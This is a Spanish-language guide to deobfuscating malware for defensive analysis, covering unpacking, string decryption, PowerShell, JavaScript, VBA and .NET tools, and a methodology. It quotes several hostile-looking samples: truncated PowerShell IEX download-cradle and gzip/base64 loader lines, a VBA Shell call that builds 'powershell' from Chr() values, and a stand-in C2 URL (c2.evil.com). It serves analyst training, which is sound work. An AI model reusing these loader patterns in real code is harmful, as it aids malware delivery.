Deofuscación de Malware: Técnicas y Herramientas para Revelar el Código Oculto
Guía de deofuscación de malware. Técnicas para revertir ofuscación en binarios (unpacking, string decryption), scripts (PowerShell, VBA, JavaScript), y .NET (ConfuserEx, de4dot). Herramientas, metodología y ejemplos prácticos.
Si el malware se ofusca, el analista deofusca
Toda ofuscación tiene un límite fundamental: el malware necesita deofuscarse para ejecutarse. El código cifrado debe descifrarse, el binario comprimido debe descomprimirse, las strings ofuscadas deben reconstruirse en memoria. Este momento de deofuscación es la ventana que el analista explota.
Deofuscación de binarios (unpacking)
Unpacking automático
# UPX (el packer mas comun)
upx -d packed_sample.exe -o unpacked.exe
# Si UPX fue modificado (headers alterados para que upx -d falle):
# Reparar headers manualmente o usar unpacking dinamico
Unpacking dinámico con x64dbg
1. Cargar el sample en x64dbg
2. El entry point esta en el stub del packer
3. Usar la tecnica ESP:
a. Ejecutar hasta el entry point (F9)
b. Poner breakpoint hardware en ESP: hr esp
c. Ejecutar (F9) - se detiene cuando el stack se restaura
d. Step over hasta encontrar un JMP largo (al OEP)
4. En el OEP (Original Entry Point):
a. Plugins > Scylla > IAT Autosearch
b. Get Imports
c. Dump > Dump PE
d. Fix Dump (reconstruir imports)
5. Resultado: PE desempaquetado con imports reconstruidas
Unpacking con sandbox
CAPE sandbox desempaqueta automáticamente muchos packers:
# Subir muestra a CAPE
# CAPE ejecuta el malware, detecta unpacking, y dumpa:
# - El payload desempaquetado
# - La configuracion descifrada
# - Los strings descifrados
# Los "dropped files" en el informe de CAPE incluyen
# versiones desempaquetadas del malware
Deofuscación de strings
String encryption en malware
El malware cifra sus strings (C2 URLs, comandos, claves de registro) para evitar detección por análisis estático. Las técnicas comunes:
| Técnica | Ejemplo | Herramienta de deofuscación |
|---|---|---|
| XOR con clave fija | encrypted[i] ^ 0x42 | CyberChef, Python script |
| XOR con clave rolling | encrypted[i] ^ key[i % len(key)] | Python script, FLOSS |
| Base64 | base64.b64decode(string) | CyberChef, base64 -d |
| RC4 | RC4(key, encrypted) | CyberChef, Python |
| AES | AES.decrypt(key, iv, encrypted) | CyberChef, Python |
| Custom cipher | Variable | Reverse engineering manual |
| Stack strings | Construidas char por char en runtime | FLOSS |
FLOSS para strings ofuscadas
# FLOSS (FLARE Obfuscated String Solver) de Mandiant
floss sample.exe
# FLOSS encuentra:
# 1. Static strings (como strings(1))
# 2. Stack strings (construidas en runtime en el stack)
# 3. Tight strings (strings cortas en loops)
# 4. Decoded strings (strings descifradas en runtime)
# Output ejemplo:
# FLOSS static strings
# kernel32.dll
# GetProcAddress
#
# FLOSS stack strings
# http://c2.evil.com/gate.php ← No visible con strings(1)
# Software\Microsoft\Windows\Run ← No visible con strings(1)
XOR brute force con CyberChef
CyberChef recipe:
1. Input: hex-encoded encrypted string
2. Operation: XOR Brute Force
3. Key length: 1 byte (para XOR simple)
4. Known plaintext: "http" (si esperas una URL)
CyberChef prueba las 256 posibles claves XOR de 1 byte
y muestra los resultados que contienen "http"
Python script para XOR decode
def xor_decode(data, key):
"""XOR decode con clave de longitud variable."""
if isinstance(key, int):
return bytes(b ^ key for b in data)
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
# XOR con clave de un byte
for key in range(256):
decoded = xor_decode(encrypted_data, key)
if b'http' in decoded or b'.exe' in decoded:
print(f"Key: 0x{key:02x}, Decoded: {decoded}")
Deofuscación de PowerShell
Capas comunes
# Capa 1: Base64 encoding
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0A...
# Capa 2: String concatenation
$a="IE"; $b="X"; & ($a+$b) (New-Object Net.WebClient).DownloadString(...)
# Capa 3: Invoke-Obfuscation
${`G`lO`BA`l:_} = [TyPe]("{4}{0}{3}{2}{1}" -f 'e','nt','me','iron','nv') ; ...
# Capa 4: Compression + Base64
IEX(New-Object IO.StreamReader((New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('H4sI...'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::UTF8)).ReadToEnd()
Proceso de deofuscación
# Paso 1: Decodificar Base64
echo 'SQBFAFgAIAAo...' | base64 -d
# Output: IEX (New-Object...
# Paso 2: Reemplazar IEX con Write-Output
# Cambiar "IEX" por "Write-Output" o "echo" para VER el comando sin ejecutar
# Paso 3: Si hay compresion, decodificar en CyberChef:
# From Base64 → Gunzip → resultado
# Paso 4: Si hay concatenacion de strings:
# Reemplazar variables con sus valores manualmente
PowerShell Script Block Logging
Si tienes acceso al Event Log del sistema donde se ejecuto:
Event ID 4104 registra el script DEOFUSCADO
El logging de PowerShell deofusca automaticamente antes de loguear.
Buscar en: Microsoft-Windows-PowerShell/Operational, Event ID 4104
PSDecode (herramienta)
# PSDecode: deofuscador automatico de PowerShell
# https://github.com/R3MRUM/PSDecode
Import-Module PSDecode
PSDecode -dump -verbose "encoded_script.ps1"
# Muestra cada capa de deofuscacion paso a paso
Deofuscación de JavaScript/VBScript
JavaScript malicioso
// Ofuscado:
var _0x1234=['fromCharCode','charCodeAt','length'];
(function(_0x5678,_0x9abc){...})(...)
// Tecnica: eval to console.log
// Reemplazar eval() con console.log() o WScript.Echo()
// para ver el codigo sin ejecutar
Herramientas
| Herramienta | Uso |
|---|---|
| JStillery | Deobfuscador de JavaScript (AST-based) |
| js-beautify | Formatear JavaScript minificado |
| de4js | Deobfuscador JavaScript online |
| box-js | Sandbox JavaScript para análisis de malware |
| SpiderMonkey | Engine JavaScript para ejecución controlada |
VBScript/VBA
' Ofuscado con Chr()
Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
' Deofuscar:
' Reemplazar Shell con MsgBox (o Debug.Print)
' O decodificar manualmente: 112=p, 111=o, 119=w... = "powershell"
# Python: decodificar Chr() automaticamente
import re
vba_code = 'Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)'
chars = re.findall(r'Chr\((\d+)\)', vba_code)
decoded = ''.join(chr(int(c)) for c in chars)
print(decoded) # "powershell"
Deofuscación de .NET
de4dot (automatizado)
# Detectar obfuscador automaticamente
de4dot sample.exe
# Forzar tipo de obfuscador
de4dot sample.exe --strtyp delegate --strtok 0x06000042
# Solo renombrar simbolos
de4dot sample.exe --dont-rename
# Output: sample-cleaned.exe (deofuscado)
ConfuserEx deobfuscation
ConfuserEx es el obfuscador más común en malware .NET:
1. de4dot: revierte string encryption y renaming
de4dot sample.exe -o clean.exe
2. Si de4dot no maneja el control flow:
- Usar ConfuserEx Static Unpacker (herramienta comunitaria)
- O analisis manual en dnSpy
3. Abrir clean.exe en dnSpy:
- Codigo ahora es legible (nombres restaurados)
- Strings descifradas
- Control flow puede seguir ofuscado (switch dispatcher)
Breakpoint en string decryption
Si de4dot no descifra strings correctamente:
1. Abrir en dnSpy
2. Encontrar la funcion de descifrado de strings
(frecuentemente un metodo estatico que recibe un int y retorna string)
3. Poner breakpoint en esa funcion
4. Ejecutar (F5)
5. Cada vez que se llama la funcion:
inspeccionar el parametro (int) y el retorno (string)
6. Construir diccionario: {int → string descifrada}
Deofuscación dinámica universal
El método universal: dejar que el malware se deofusque
1. Ejecutar malware en debugger (x64dbg, GDB)
2. Poner breakpoint DESPUES de la rutina de deofuscacion:
- Para packers: breakpoint en el OEP
- Para string encryption: breakpoint en la funcion de uso del string
- Para payload encryption: breakpoint en VirtualAlloc + WriteProcessMemory
3. Cuando el breakpoint se activa: los datos estan deofuscados en memoria
4. Dumpar la memoria con los datos en claro
Con sandbox (CAPE)
CAPE automatiza este proceso:
1. CAPE ejecuta el malware
2. Hookea APIs de memoria y cripto
3. Cuando el malware descifra algo: CAPE lo captura
4. Output: payloads desempaquetados, configs descifradas, strings en claro
No necesitas hacer unpacking manual si CAPE lo hace automaticamente
Herramientas de deofuscación: resumen
| Tipo de ofuscación | Herramienta | Método |
|---|---|---|
| UPX packing | upx -d | Automático |
| Packers genéricos | x64dbg + Scylla | Manual (ESP trick) |
| Strings XOR | CyberChef, Python script | Semi-automático |
| Stack strings | FLOSS | Automático |
| Base64/Hex | CyberChef, base64 -d | Automático |
| PowerShell encoding | PSDecode, manual | Semi-automático |
| .NET (ConfuserEx) | de4dot | Automático |
| .NET (custom) | dnSpy debugging | Manual |
| JavaScript | JStillery, box-js | Semi-automático |
| VBA Chr() | Python script, olevba | Automático |
| Payload encryption | CAPE sandbox, x64dbg | Automático/Manual |
Metodología de deofuscación
1. IDENTIFICAR la técnica de ofuscación
- DIE: identifica packer
- Entropía: indica cifrado/compresión
- Strings: si hay pocas, probablemente ofuscado
- CAPA: detecta técnicas de anti-analysis
2. INTENTAR herramientas automáticas primero
- upx -d (si es UPX)
- de4dot (si es .NET)
- FLOSS (para strings)
- CAPE (para todo)
3. Si automático falla: análisis dinámico
- Debugger (x64dbg, GDB) para unpacking manual
- Sandbox para capturar payload descifrado
- Memory dump para extraer datos deofuscados
4. VERIFICAR resultado
- Comparar entropía antes/después (debe bajar)
- Verificar que strings son legibles
- CAPA sobre versión deofuscada (debe mostrar más capacidades)
Mapeo MITRE ATT&CK
| Técnica de ofuscación | ATT&CK ID | Herramienta de deofuscación |
|---|---|---|
| Software Packing | T1027.002 | UPX, x64dbg, CAPE |
| Obfuscated Files | T1027 | CyberChef, FLOSS, de4dot |
| Compile After Delivery | T1027.004 | Análisis del compilador en sandbox |
| Dynamic API Resolution | T1027.007 | CAPA, FLOSS |
| Embedded Payloads | T1027.009 | binwalk, Resource Hacker, CAPE |
| Deobfuscate/Decode | T1140 | El malware se auto-deofusca (capturar en sandbox) |
Fuentes y referencias
- Mandiant. "FLOSS: FLARE Obfuscated String Solver." https://github.com/mandiant/flare-floss
- de4dot. ".NET Deobfuscator." https://github.com/de4dot/de4dot
- CyberChef. "The Cyber Swiss Army Knife." https://gchq.github.io/CyberChef/
- R3MRUM. "PSDecode." https://github.com/R3MRUM/PSDecode
- NtQuery. "Scylla: Import Reconstruction." https://github.com/NtQuery/Scylla
- horsicq. "Detect It Easy." https://github.com/horsicq/Detect-It-Easy
- Sikorski, M. & Honig, A. "Practical Malware Analysis." No Starch Press, 2012.
- Andriesse, D. "Practical Binary Analysis." No Starch Press, 2018.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.